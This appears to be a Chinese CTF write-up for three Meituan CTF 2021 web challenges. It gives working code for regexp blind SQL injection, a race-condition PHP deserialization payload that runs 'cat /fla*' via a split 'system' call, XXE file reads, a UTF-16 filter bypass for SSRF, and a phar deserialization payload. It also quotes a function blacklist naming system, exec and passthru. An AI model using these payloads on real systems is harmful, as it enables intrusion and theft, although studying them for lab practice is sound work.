美团 CTF 2021

Web

sql

简单的正则盲注,将找到的脚本简单修改即可跑出密码。

import string
import requests


def str_hex(litter):
    str = ''
    for i in litter:
        str += hex(ord(i)).replace('0x', '')
    return '0x5e' + str


string = string.ascii_lowercase + string.ascii_uppercase + string.digits + '_'
flag = ''
for i in range(100):
    for j in string:
        print(j)
        url = '.../index.php'
        data = {
            'username': 'null\\',
            'password': '||(`password`/**/regexp/**/binary/**/{})#'.format(str_hex(flag + j))
        }
        res = requests.post(url=url, data=data).text
        if 'flag' in res:
            flag += j
            print(flag)
            break
        else:
            pass

运行脚本可以得出密码为 This_1s_thE_Passw0rd,使用用户名 admin 配合登录即可获得 flag。

flag{afccfbe8-a333-4eed-86ca-1b1967ffb0ae}

easytricks

发现有 /admin 路由,同时可以找到部分原题。

https://blog.csdn.net/SopRomeo/article/details/105849403

使用 admin 作为用户名,密码 GoODLUcKcTFer202OHAckFuN 即可成功登录上去。登录之后可以找到如下提示。

<!-- /admin/admin.rar -->

将源码下载下来,可以在 preload.php 下发现如下关键的源码。

<?php
session_save_path('session');
session_start();
class preload{
    public $class;
    public $contents;
    public $method;
    public function __construct(){
        $this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
        $this->contents="new hacker();phpinfo();";
        $this->method="\$hack->hack();";
    }
    public function waf($parm){
        $blacklist="/flag|pcntl|system|exec|fread|file|fpassthru|popen|proc|ld|putenv|passthru|`|\.|\\\|#|\\$|[0-9]|_|get|~|\\^|eval|assert|open|write|include|require/is";
        return preg_match($blacklist,$parm);
    }
    public function write(){
        if($this->waf($this->contents)||strlen($this->contents)>60||preg_match_all('/\\(/i',$this->contents,$matches)>2||preg_match_all('/\\)/i',$this->contents,$matches)>2){
            die("<br>"."no no no");
        }
        if(preg_match_all('/;/i',$this->contents,$matches)>2){
            die("<br>"."try hard");
        }
        if(file_exists(dirname(__FILE__)."/hack.php")){
            unlink(dirname(__FILE__)."/hack.php");
        }
        file_put_contents(dirname(__FILE__)."/hack.php",$this->class);
        file_put_contents(dirname(__FILE__)."/hack.php",$this->contents,FILE_APPEND);
        file_put_contents(dirname(__FILE__)."/hack.php",$this->method,FILE_APPEND);
    }
    public function __wakeup(){
        $this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
        $this->method="\$hack->hack();";
    }
    public function __destruct(){
        $this->write();
    }
}
$a=$_POST['a'];
var_dump(unserialize($a));


$preload=new preload();
?>
<a href="./hack.php">hack.php</a>
<a href="./cli.php">cli.php</a>

可以发现存在反序列化的可控制点。只需要将内容拼接在 $this->contents 中即可写入到 hack.php 中,但是马上就会被 $preload=new preload(); 重新覆盖掉,因此考虑条件竞争。构造出如下脚本生成反序列化载荷。

<?php
class preload
{
    public $class;
    public $contents;
    public $method;

    public function __construct()
    {
        $this->class="<?php class hacker{public function hack(){echo 'hack the hack!I believe you can!';}}\$hack=";
        $this->contents="'a';?><?php phpinfo() ?>";
        $this->method="\$hack->hack();";

    }
}
echo urlencode(serialize(new preload()));

将生成的载荷以参数 a 提交给 preload 的同时条件竞争访问 hack.php 即有机会触发到 phpinfo。可以得到如下 disable_functions 列表。

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,

可以发现其中没有过滤 system(),因此只需要拼接一下即可运行从而得到 flag。构造出如下载荷。

implode(["sys", "tem"])("cat /fla*")

将其拼接在 $this->contents 中重新生成载荷然后条件竞争即可得到 flag。

flag{7b154242-df8e-47df-81dd-4807644335fa}

xx_elogin

登录页面的源码可以看出 /api.php 的 XXE,简单构造出如下载荷读取文件。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe PUBLIC "" "php://filter/convert.base64-encode/resource=api.php" >]>
<foo>&xxe;</foo>

可以读到如下源码。

<?php
error_reporting(0);
session_start();
$username = $_GET['username'];
$password = $_GET['password'];
// 哈哈,我数据库都不用你还能秒我。
if($username === 'guest' && $password === 'guest111222333444555666@#$!'){
    $_SESSION['is_admin'] = '0';
    header("Location:guest.php");
}
elseif($username === 'admin' && $password === 'admin' && $_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    // 仅允许管理员从本地访问,这样总安全了吧!!!
    $_SESSION['is_admin'] = '1';
    include('admin.php');
}else{
    echo 'username or password error';
}
?>

可以得到两份密码,同时考虑使用 SSRF 来登录管理员账户,因此考虑使用 XXE 来进行 SSRF。可以发现如下过滤。

<?php
    error_reporting(0);
    $xmlfile = file_get_contents("php://input");
    if(preg_match('/system/i',$xmlfile)){
        die('hacker go out!');
    }
    if(preg_match('/http/i',$xmlfile) && preg_match('/dtd|ENTITY/i',$xmlfile)){
        die('禁止出网');
    }
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
    $result = simplexml_import_dom($dom);
    $result = sprintf("<result><msg>%s</msg></result>",$result); 
    echo $result;
?>

此时可以使用 UTF-16 编码来绕过判断从而达成 SSRF。

<?php
$REAL_PAYLOAD = "http://127.0.0.1:80/login.php";
$XXE_PAYLOAD = /** @lang text */
    <<<PAYLOAD
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe PUBLIC "123" "PAYLOAD" >]>
<foo>&xxe;</foo>
PAYLOAD;
$XXE_PAYLOAD = str_replace("PAYLOAD", $REAL_PAYLOAD, $XXE_PAYLOAD);
$XXE_PAYLOAD = iconv('utf-8', 'utf-16', $XXE_PAYLOAD);

此时生成出来的载荷即可成功 SSRF。结合如下代码里的文件上传和管理员登录后的 readgzfile() 函数的调用,考虑触发利用 phar 反序列化。

<?php
error_reporting(0);
session_start();
if($_SESSION['is_admin'] !== '0'){
    die("you don't have permission");
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>welcome guest</title>
</head>

<body>
<h2>图片库</h2>
<div>
    <p>既然来了,就留下点什么吧(ಡωಡ)hiahiahia</p>
</div>

<form action="guest.php" method="post" enctype="multipart/form-data">
    <label for="pic">文件名:</label>
    <input type="file" name="pic" id="pic"><br>
    <input type="submit" name="upload" value="提交">
</form>
</body>

</html>
<?php
if(isset($_FILES['pic'])){
    $file = $_FILES['pic'];
    $file_size = $file['size'];
    if($file_size > 2*1024*1024){
        echo 'pic too long';
        return false;
    }
    $file_type = $file['type'];
    if($file_type != 'image/jpeg' && $file_type != 'image/gif' && $file_type != 'image/png'){
        echo 'file type error';
        return false;
    }
    $ext = end(explode('.', $file['name']));
    if(!in_array($ext,array('jpg','png','gif'))){
        echo 'file ext error';
        return false;
    }
    if(is_uploaded_file($file['tmp_name'])){
        $upload_file = $file['tmp_name'];
        $user_path = './uploads/';
        $filename = time().rand(1,100).'.'.$ext;
        if(move_uploaded_file($file['tmp_name'],$user_path.$filename)){
            echo $user_path.$filename;
        }
    }
}
?>
<?php
    session_start();
    class secret{
        public $hint;
        private $flag;
        public function __construct(){
            $this->hint = 'readfile';
        }
        public function __destruct(){
            $this->flag = getenv('ICQ_FLAG');
            $what_you_want = $this->flag;
            eval('$flag'.'= create_function("",\'echo "' . $what_you_want . '";\');');
            $hint = $this->hint;
            $hint('hinttttttttttttttttttttttttttttttt.txt');
        }
    }
    if($_SESSION['is_admin'] !== '1'){
        echo 'only admin can see flag';
    }elseif($_SESSION['is_admin'] === '1'){
        echo 'welcome admin!!!';
        // $secret = new secret();
        $dir = scandir('./uploads');
        unset($dir[0]);unset($dir[1]);
        $beautiful = $_GET['jpg'];
        $flag_pic = $beautiful ? $beautiful:$dir[array_rand($dir,1)];
        if(!preg_match("/^phar|smtp|compress|dict|zip|file|etc|root|filter|php|flag|ctf|hint|\.\.\//i",$flag_pic)){
            chdir('./uploads');
            if(readgzfile($flag_pic)){
                copy($flag_pic,'../lovestpic/lovest_'.time().'.pic');
            }
        }
    }
?>

因为代码中只有一个类,因此考虑利用这个类。代码中匿名函数的创建提供了利用点,因为匿名函数实际上有名称为 %00lambda_\d 的默认名称。因此只需要让 $hint 取到匿名函数的默认名称即可触发匿名函数读取到环境变量中的 flag。构造出如下脚本来生成 phar 载荷。

namespace MakePhar {

    use Phar;

    class secret{
        public $hint;

        public function __construct(){
            $this->hint = urldecode("%00lambda_3");
        }
    }

    function MakePhar(){
        $phar = new Phar("EXP.phar");
        $phar->startBuffering();
        $phar->setStub("<?php __HALT_COMPILER(); ?>");
        $phar->setMetadata(new secret());
        $phar->addFromString("exp.txt", "actuallyNothingHere");
        $phar->stopBuffering();
    }

}

将生成的载荷以 jpg 拓展名作为图片上传,然后 SSRF 到 ?username=admin&password=admin&jpg=zlib:phar://{$filename} 触发文件的解压即可触发到 phar 反序列化从而得到 flag。

results matching ""

    No results matching ""